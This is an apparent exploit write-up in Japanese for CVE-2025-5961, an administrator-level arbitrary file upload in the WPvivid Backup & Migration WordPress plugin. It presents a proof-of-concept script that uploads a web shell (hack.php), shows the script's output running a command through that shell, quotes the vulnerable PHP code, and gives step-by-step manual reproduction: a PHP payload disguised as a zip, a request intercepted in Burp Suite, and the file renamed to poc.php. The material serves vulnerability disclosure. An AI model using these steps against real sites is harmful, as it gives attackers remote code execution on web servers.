CVE-2025-5961

移行、バックアップ、ステージング – WPvivid Backup & Migration <= 0.9.116 - 認証済み（管理者以上）任意ファイルアップロード

wpvivid-backuprestore プラグインは wpvivid_upload_import_files アクションのファイルタイプをサニタイズしておらず、管理者以上のユーザーが任意のファイルをアップロードし、サーバー上でコード実行を引き起こす可能性があります。注意: アップロードされたファイルは、NGINX Web サーバー上で動作する WordPress インスタンスでのみアクセス可能です。対象のファイルアップロードフォルダ内の既存の .htaccess により Apache サーバー上ではアクセスが防止されます。

TL;DR エクスプロイト

• 管理者が hack.php という名前のウェブシェルをアップロードするデモンストレーション用の POC CVE-2025-5961.py を提供します。

 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

詳細

wpvivid_upload_import_files アクションは /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php の 2210行目 で upload_files 関数を呼び出しますが、ファイルタイプの検証を強制しません。

2235行目 では、$file_name が次のように設定されています:

$file_name=basename(sanitize_text_field($_POST['name']));

その後、2246行目 で $file_name 変数を使用してファイルをファイルシステムに書き込みます。

$file_handle = fopen($path.$file_name, 'wb');

手動での再現手順

0. 手動で行うため、フロントエンドの検証を通過する悪意のあるファイルを作成します。ターミナルで以下を入力してください:

echo "<?php phpinfo(); ?>" >>  wpvivid-0000000000000_1969-04-20-00-00_export_post.zip

1. 管理者パネルにログインし、WPvivid Backup タブに移動します。
2. サイドメニューから Export & Import オプションを選択し、次に Import タブを選択します。
3. Burp Suite または類似のツールを起動し、トラフィックのインターセプトを開始します。
4. Upload and Import ボタンをクリックし、手順0で作成した wpvivid-0000000000000_1969-04-20-00-00_export_post.zip を選択します。
5. 最初の POST リクエストには次のような内容が含まれます。このリクエストを転送してください:

POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b

6. フォームデータを含む次のリクエストを変更し、ファイル名を poc.php に設定します:
7. https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php にアクセスして、概念実証を実行します。